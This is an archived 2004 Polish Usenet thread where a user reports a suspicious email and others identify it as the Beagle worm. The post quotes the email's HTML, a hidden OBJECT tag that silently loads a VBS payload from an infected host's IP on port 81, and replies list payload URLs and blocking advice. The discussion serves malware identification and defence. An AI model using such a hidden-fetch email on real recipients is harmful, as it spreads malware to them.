[raport] Wirus nie wirus?

Thread View: pl.internet.mordplik

6 messages

[T] Back to Threads [V] Tree View [G] Group Articles

6 total messages Started by Przemysław Rachwał Thu, 18 Mar 2004 19:26

#447

Author: Przemysław Rachwał
Date: Thu, 18 Mar 2004 19:26

35 lines
2096 bytes

Dostaję od niedawna, najbardziej intryguje mnie http://68.230.122.66:81

jak to wirus jestem widać mocno nie w temacie

-- 
PAMPA
Czas na zmiany

Return-Path: <ola...@poczta.onet.pl>
Received: from mx.go2.pl (mx.go2.pl [212.126.20.5])
 by box6.go2.pl SERVER; Thu, 18 Mar 2004 16:03:00 +0100
X-mf: first3.pl v0.6
Received: by mx.go2.pl (Postfix)
 id 6648D133889; Thu, 18 Mar 2004 16:11:44 +0100 (CET)
Delivered-To: pa...@go2.pl
Received: from michal.net (ge182.internetdsl.tpnet.pl [80.53.56.182])
 by mx.go2.pl (Postfix) with SMTP id 60544133BF9
 for <pa...@go2.pl>; Thu, 18 Mar 2004 16:11:42 +0100 (CET)
Date: Thu, 18 Mar 2004 16:08:53 +0100
To: pa...@go2.pl
Subject: **SPAM** Re: Hello
From: ola...@poczta.onet.pl
Message-ID: <bhtawifss...@go2.pl>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><body>
<font  face="System">
<OBJECT  STYLE="display:none" DATA="http://68.230.122.66:81/183587.php">
</OBJECT></body></html>

Re: [raport] Wirus nie wirus?

#448

Author: Przemyslaw Popielarski
Date: Thu, 18 Mar 2004 20:11

38 lines
1760 bytes

Przemysław Rachwał wrote:
> Dostaję od niedawna, najbardziej intryguje mnie
> http://68.230.122.66:81
>
> jak to wirus jestem widać mocno nie w temacie

Zdecydowanie:

Kamil Konieczny,
[MKS_VIR-INFO-LINUX] nowy robak Beagle

------------
Witaj !

Nowy robak wysyla tylko male e-mail'e z zalacznikiem html
zawierajaca tylko wpis w sekcji html:

STYLE="display:none" DATA="http://XXX.XXX.XXX.XXX:81/nnnnnn.php"

XXX    - adres zainfekowanego komputera
nnnnnn - szesc cyfr

Metoda na zablokowanie robaka to blokada portu 81,
druga to traktowanie takiego listu jako spamu
(w liscie brak tesci).

Mks wykrywa wirusa w sciaganym pliku .php
ktory jest skryptem vbs.

--
Pozdrowienia,
 Kamil                          mailto:[ciach]@mks.com.pl
------------

-- 
./ premax
./ premax@hot,pl
./ koniec i bomba, a kto czytal ten traba. w.g.

Re: [raport] Wirus nie wirus?

#449

Author: Lemat
Date: Thu, 18 Mar 2004 20:21

15 lines
1489 bytes

Pewnego pieknego dnia 2004-03-18 20:26, użyszkodnik Przemysław Rachwał 
napisał/a :

> Dostaję od niedawna, najbardziej intryguje mnie http://68.230.122.66:81
> 
> jak to wirus jestem widać mocno nie w temacie
> 
http://68.230.122.66:81/183587.php HTML.VBS.Zeroline.B
http://68.230.122.66:81/hlnfdef.jpeg Worm.Beagle.R
-- 
Pozdrawiam
Lemat
http://strangeplaces.net/weirdthings/publicpool.html
http://lemat.priv.pl/funny/spam.jpg
http://lemat.priv.pl/funny/living_dangerously.jpg

Re: [raport] Wirus nie wirus?

#450

Author: Miroslaw Kwasniak
Date: Thu, 18 Mar 2004 21:13

12 lines
1037 bytes

Przemysław Rachwał <prac...@gazeta.pl> wrote:
> Dostaję od niedawna, najbardziej intryguje mnie http://68.230.122.66:81
> 
> jak to wirus jestem widać mocno nie w temacie

beagle-q

Message-ID: <slrnc5jrb5...@dns.media-lab.com.pl>
 

-- 
MCSE (Minesweeper Consultant and Solitaire Expert)

Re: [raport] Wirus nie wirus?

#451

Author: Przemyslaw Popielarski
Date: Thu, 18 Mar 2004 21:24

11 lines
1171 bytes

Miroslaw Kwasniak wrote:
>> jak to wirus jestem widać mocno nie w temacie
>
> beagle-q

sie niedlugo literki skoncza :)

-- 
./ premax
./ premax@hot,pl
./ koniec i bomba, a kto czytal ten traba. w.g.

Re: [raport] Wirus nie wirus?

#452

Author: Pawel Kierski
Date: Fri, 19 Mar 2004 08:32

17 lines
1851 bytes

Przemyslaw Popielarski <spam-no-s...@hot.pl> w wiadomości
news:405a1365$1...@news.home.net.pl napisał(a):
> Miroslaw Kwasniak wrote:
> >> jak to wirus jestem widać mocno nie w temacie
> >
> > beagle-q
>
> sie niedlugo literki skoncza :)

  .AA, .AB ... klony LoveLettera widziałem już z dwuliterowym oznaczeniem
na .C ...

-- 
    Paweł Kierski
    pkie...@mks.com.pl
    dodaj "[nomorespam]" w temacie jeśli piszesz z domeny innej niż .pl,
    albo koniecznie chcesz obejść moje filtry 8-)

Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads